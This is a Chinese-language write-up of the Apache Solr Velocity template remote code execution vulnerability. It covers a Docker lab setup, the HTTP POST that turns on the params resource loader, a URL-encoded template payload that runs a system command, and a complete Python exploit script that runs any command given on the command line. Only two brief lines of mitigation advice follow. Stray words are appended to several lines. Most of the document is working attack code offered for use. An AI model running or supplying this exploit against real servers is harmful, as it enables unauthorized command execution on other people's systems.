Apache Solr 是一個開源的企業級搜索服務器。Solr 使用 Java 語言開發,主要基於 HTTP 和 Apache Lucene 實現。Apache Solr 中存儲的資源是以 Document 爲對象進行存儲的。它對外提供相似於Web-service的API接口。用戶能夠經過http請求,向搜索引擎服務器提交必定格式的XML文件,生成索引;也能夠經過Http Get操做提出查找請求,並獲得XML格式的返回結果。java
Apache Solr基於Velocity模板存在遠程命令執行漏洞。該漏洞是因爲Velocity模板存在注入所致。Apache Solr默認集成VelocityResponseWriter插件,在該插件的初始化參數中的params.resource.loader.enabled這個選項是用來控制是否容許參數資源加載器在Solr請求參數中指定模版,默認設置是false。當攻擊者能夠直接訪問Solr控制檯時,能夠經過發送相似: solr/節點名/config的POST請求對該節點的配置文件作更改,把params.resource.loader.enabled設置爲true(可加載指定資源),再構造GET請求,便可在服務器執行命令。python
Apache Solr <=8.2.0docker
(因爲vulhub未更新對應漏洞環境,故使用vulhub中的CVE-2019-0193搭建環境)json
啓動環境bash
cd /vulhub/solr/CVE-2019-0193
docker-compose up -d
建立Core服務器
docker-compose exec solr bash bin/solr create_core -c test_0nth3way -d example/example-DIH/solr/db
搭建成功app
訪問http://ip:8983post
(1)修改Core的配置,設置"params.resource.loader.enabled" 的值爲true搜索引擎
POST /solr/test_0nth3way/config HTTP/1.1 Host: 192.168.17.136:8983 Content-Type: application/json Content-Length: 259 { "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } }
(2)遠程執行代碼url
GET /solr/test_0nth3way/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1 Host: 192.168.17.136:8983
附EXP:
import requests import json import sys # usage: python Apache_Solr_via_Velocity_template_RCE.py http://192.168.17.136:8983 whoami # Apache Solr RCE via Velocity template # Upconfig: http://192.168.1.26:8983/solr/0nth3way/config # ExecCmd: 0 solr def getname(url): url += "/solr/admin/cores?wt=json&indexInfo=false" conn = requests.request("GET", url=url) name = "test" try: name = list(json.loads(conn.text)["status"])[0] except: pass return name def upconfig(url, name): url += "/solr/"+name+"/config" print "Upconfig: ", url headers = {"Content-Type": "application/json"} post_data = """ { "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } } """ conn = requests.request("POST", url, data=post_data, headers=headers) if conn.status_code != 200: print "Upconfig error: ", conn.status_code sys.exit(1) def poc(url,cmd): core_name = getname(url) upconfig(url, core_name) url += "/solr/"+core_name+"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27"+cmd+"%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end" conn = requests.request("GET", url) print "ExecCmd: "+conn.text if __name__ == '__main__': print "Apache Solr RCE via Velocity template" url = sys.argv[1] cmd = sys.argv[2] poc(url,cmd)
(1)建議對Solr作訪問限制
(2)升級Solr